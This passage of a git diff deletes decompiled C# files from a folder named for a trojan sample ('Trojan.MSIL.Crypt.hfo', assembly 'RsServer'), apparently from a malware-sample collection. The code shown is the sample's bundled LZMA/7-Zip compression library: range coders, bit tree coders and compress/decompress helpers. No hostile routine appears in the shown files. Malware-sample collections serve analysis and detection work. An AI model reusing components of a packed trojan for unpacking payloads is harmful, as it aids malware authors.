index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index 334fe787..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - (object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index 59522c92..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index 88240cb7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index cd6a48b2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index 0e013e45..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index b118b6ef..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index 1f9e383e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/DataErrorException.cs deleted file mode 100644 index 6a5eeffa..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ICodeProgress.cs deleted file mode 100644 index 8427c7a0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ICoder.cs deleted file mode 100644 index e5b3ec4b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ISetCoderProperties.cs deleted file mode 100644 index 2083d3ad..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ISetDecoderProperties.cs deleted file mode 100644 index be1eadc9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/ISetDecoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/IWriteCoderProperties.cs deleted file mode 100644 index 29de2714..00000000 --- 